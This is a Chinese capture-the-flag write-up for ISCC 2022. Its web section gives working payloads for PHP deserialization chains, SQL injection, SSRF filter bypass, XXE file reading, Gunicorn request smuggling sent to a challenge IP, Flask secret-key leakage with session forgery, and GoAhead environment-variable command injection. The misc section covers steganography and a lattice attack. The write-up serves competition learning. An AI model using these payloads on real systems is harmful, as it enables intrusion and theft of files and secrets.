【ISCC2022】write up(web+misc)

前言

终于打完了ISCC,由于是赛后写的因此没有复现环境,所以就简单写写wp了。

WEB

冬奥会

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

var_dump($info);

is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
(@$info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!=3) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}

if($Step1 && Step2){
include "2022flag.php";echo $flag;
}
?>

签到题,几个比较简单的trick,不解释了,直接payload:

1
?Information={"year":"2022,","items":[0,["1skiing"],"1skiing"]}

爱国敬业好青年-1

绝杀,无解。

爱国敬业好青年-2

进入题目要输入一个经纬度,问题是爱国敬业好青年住在哪里。结合第一题中存在1.jpg提示我们照片拍摄地点为背景天安门广场,因此填入天安门经纬度,但是弹出了提示:

1
flas=icss{Y0u_M@y_FiNd_1_WEONG_eNtrance!!!}

入口错误,查看源码发现/flag,猜测这里才是真正的入口,抓包获取POST的参数并传入/flag中获取flag。

payload:

1
lati=116°23′E&langti=39°54′N 

Pop2022

MRCTF的原题,NISACTF也考过,就懒得放源码了,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
class Try_Work_Hard{
protected $var;
function __construct(){
$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}
$s = new Road_is_Long();
$t = new Make_a_Change();
$r = new Try_Work_Hard();
$t->effort = $r;
$s->string = $t;
$s->page = $s;
var_dump(urlencode(serialize($s)));

Easy-SQL

sql注入,但是select被过滤了,因此想到之前了解过得select的平替table,表格名为email,注入出邮箱:

1
?id=1 union table emails limit 7,1--+

邮箱名字是一个压缩包名,下载这个压缩包获取index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}

if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd']))
{

$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);

if ( !sqlWaf($passwd) )
die('damn hacker');

$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>

审计代码,用username没有被过滤,那就用vlaues注入出flag:

1
username=admin' union values row(10,'admin',1)#&passwd=1

Find me

进去一张赛博朋克的图,审查元素发现unser.php,审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;

public function __destruct(){
if(!empty(this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}

public funtion Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}

public function yigei(){
echo 'Your output: '.$this->un4;
}

public function giao(){
@eval($this->un2);
}

public function __wakeup(){
include $this -> un2.'hint.php';
}
}

$data = $_POST['data'];
unserialize($data);

这看到Givemeanew这个函数估计就是原生类应用了,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;

public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}

public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}

public function yigei(){
echo 'Your output: '.$this->un4;
}

public function giao(){
@eval($this->un2);
}

public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$a=new a();
$a->un3="unserialize";

//读取hint内容,知道flag文件开头为f
//$a->un0="SplFileObject";
//$a->un1="php://filter/read=convert.base64-encode/resource=hint.php";
//echo base64_decode("PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7");

//找到flag所放置的文件
//$a->un0='DirectoryIterator';
//$a->un1='glob://./*f*';

//读取flag文件
$a->un0="SplFileObject";
$a->un1="flllHL91244ggg-SecR1et.txt";
echo serialize($a);

这是一道代码审计题

进入网页后让我们访问/index,访问后页面上只有404,抓包发现cookie中的login为0,改为1后页面中出现了url=127.0.0.1

那么我们GET传参url,发现一个文件路径:./static/code.txt

访问后是一对emoji,base100解码得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"

def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"

def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False

def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False

原来是这里的ip存在过滤,judge_ip()对获取的ip进行了base64加密,并且url中不能含有点且具有格式,因此我们传参:

1
?url=http://@MTI3LjAuMC4x

获得两个参数:

1
/mti3ljaumc4x 和 a_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==

访问对应网址,阅读代码发现存在xxe攻击,那就构造POST包直接打,这里的用户密码需要猜一下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///app/flag.txt">
]>
<user>
<name>
&admin;
</name>
<password>
123456
</password>
</user>

发包获取flag。

让我康康!!

gunicorn的走私漏洞,之前也是特意学了下http走私,这题的漏洞可以参考这篇文章:
Gunicorn 20.0.4 Request Smuggling

payload:

1
echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

Melody

查看源码发现/info,访问后发现只能用Melody浏览器登录,那就更改UA头,查看框架发现为flask,猜测存在ssti。

利用网站给的提示参数发现利用这个参数可以进行ssti,测试一些特殊情况,在?Melody={{config}}时发现了一个key:

1
'SECRET_KEY': 'meldoy-is-so-cute-wawawa!'

那不出意外是一个flask-session伪造登录,利用工具构造出session以admin的身份登录,登陆后审查元素发现可疑文件/static/real_flag
_part.py,查看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding:utf-8 -*- 
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password

def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)

又见到pickle反序列化了,好像之前有说过要写这个的博客但是到现在还没写(,不过这个反序列化一般难度都不是很高,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle 
import base64

class register:
def __init__(self,name,password):
self.name = name
self.password = password

def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password

flag = register("melody","hug")
a = pickle.dumps(flag)
print(base64.b64encode(a))

把得到的结果以melody参数传参给/therealflag就可以得到flag了。

ping2rce

进入网页就是个输入框和一个ping按钮。题目把过滤做的很严格,不可能通过常规手段进行rce。

审查元素中查看信息,发现题目框架是goahead,想到p牛今年1月的一篇文章:
GoAhead环境变量注入复现踩坑记
这篇文章详细讲述了如何利用goahead来进行环境变量注入,但是我们要如何进行注入呢,这又不得不提到p牛今年2月的一篇文章:
我是如何利用环境变量注入执行任意命令

利用环境变量注入进行命令执行,这不是很好的契合了题目的要求吗,那么结合这两篇文章,我们构造请求包:

1
2
3
4
5
6
7
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 164

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="BASH_FUNC_ping%%"

() { cat /flag; }
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

发包后即可获得flag。

MISC

冬奥会

这题看描述就可以猜出来压缩包密码就是了。首先给了一张图,010改高发现一串unicode,转码后问我们冰墩墩的小伙伴的原型,那就是灯笼。因此这题压缩包密码就是灯笼,解压后图片用notepad打开就是flag。

单板小将苏翊鸣

同样也是010改图片高度,有个二维码,扫描后是unicode,转码后问我们中国队在冬奥获得了几枚奖牌,几金几银几铜,那么答案15942就是压缩包密码,解压得到flag。

降维打击

打开图片一个屑魔女,foremost分离出一张图,根据题目意思这里应该对那张图片进行降维,不过我们用强大的zsteg可以提取。

提取之后是一串看都看不懂的文字,那么结合屑魔女,这里的文字正是出自魔女之旅,b站大哥已经分析出了对应的文字,直接参考就可以了:
《魔女之旅》文字破解·印刷体

翻译出来的玩意就是flag。

真相只有一个

下载下来三个文件,首先将stream的请求头修复,改后缀为zip,解压后获取一个压缩包,但是打开这个压缩包需要一个密码。

接下来是一张图片,LSB发现信息passwd 1998/xx/xx,掩码爆破压缩包出来密码是19981111,解压后得到一个流量包。打开流量包提取TFTP对象,发现password.mp3,查看波形图发现摩斯密码,解码为isccmisc

最后利用这个密码进行snow隐写的提取,获取flag。

藏在星空中的诗-1

这题拿了个一血,好题!给了个txt文件、psd文件和压缩包,发现txt中是5行由星星组成的诗,而psd中有两张图,将一张图的不透明度改为100后发现一个有向图,根据图的序号对应的星星诗的行数即为压缩包密码。

用winrar解压后得到密码本,每种星星和一个字母或符号相对应,翻译完整首诗出来的就是flag。

藏在星空中的诗-2

只有一个txt文件,里面的内容也是星星,但是看星星的格式:

1
\🌟🌠🌠✴🟉\🌟🌠🌠★⍣

一下就让人想到unicode编码,而对应密码本后发现如果将星星对应的unicode编码的最后一位对应替换,就可以得到一串正确的unicode编码,解码就可以得到flag。

隐秘的信息

描述中的base64编码就是压缩包密码,解压后是一张图,用stegslove提取LSB,通道RGB000,发现前三行存在可疑信息,将其16进制值转化为2进制,删除头部第一个0之前的所有1,再转成ascii码即可得到flag。

套中套

给了一张图和一个压缩包,压缩包是加密的。修复图片文件头,发现png的crc32错误,改高发现flag1。但是这个flag1明显不完整,我们将图片截图扔进stegslove,在Blue0通道发现剩下的隐藏字符。

接下来在图片的hex最后发现一串base64,解码后得到flag2,将两个flag组合起来就是压缩包的密码:

1
wELC0m3_T0_tH3_ISCC_Zo2z

压缩包里面是一个密码题,百度发现是ctfwiki2014原题,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pubKey = 
nbit = len(pubKey)
encoded =
A = Matrix(ZZ, nbit + 1, nbit + 1)

for i in range(nbit):
A[i, i] = 1

for i in range(nbit):
A[i, nbit] = pubKey[i]

A[nbit, nbit] = -(encoded)

res = A.LLL()
for i in range(0, nbit + 1):

M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag == True:
M = ''.join(str(j) for j in M)
M = M[:-1]
M = hex(int(M, 2))[2:]
print(hex(int(M,16)))

跑sage获得flag。

小光学AI

感谢人工智能Strl通过脑中训练模型,然后得出大致区间,最后遍历可能数据解决了这一维护后0解的世界难题,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
listt=[]
for i in range(1,10):
for j in range(1,10):
listt.append(i/j)




with open('./dataplus.txt', 'w') as f: # 设置文件对象

for a1 in range(20000,40000):
for a2 in listt:
for a3 in listt:
print("%d:%d:%d"%(a1,a1*a2,a1*a3),file = f)

跑出字典后爆破压缩包即可,后这个非预期解已被修复。

触不可及

真的触不可及了,绝杀,无解。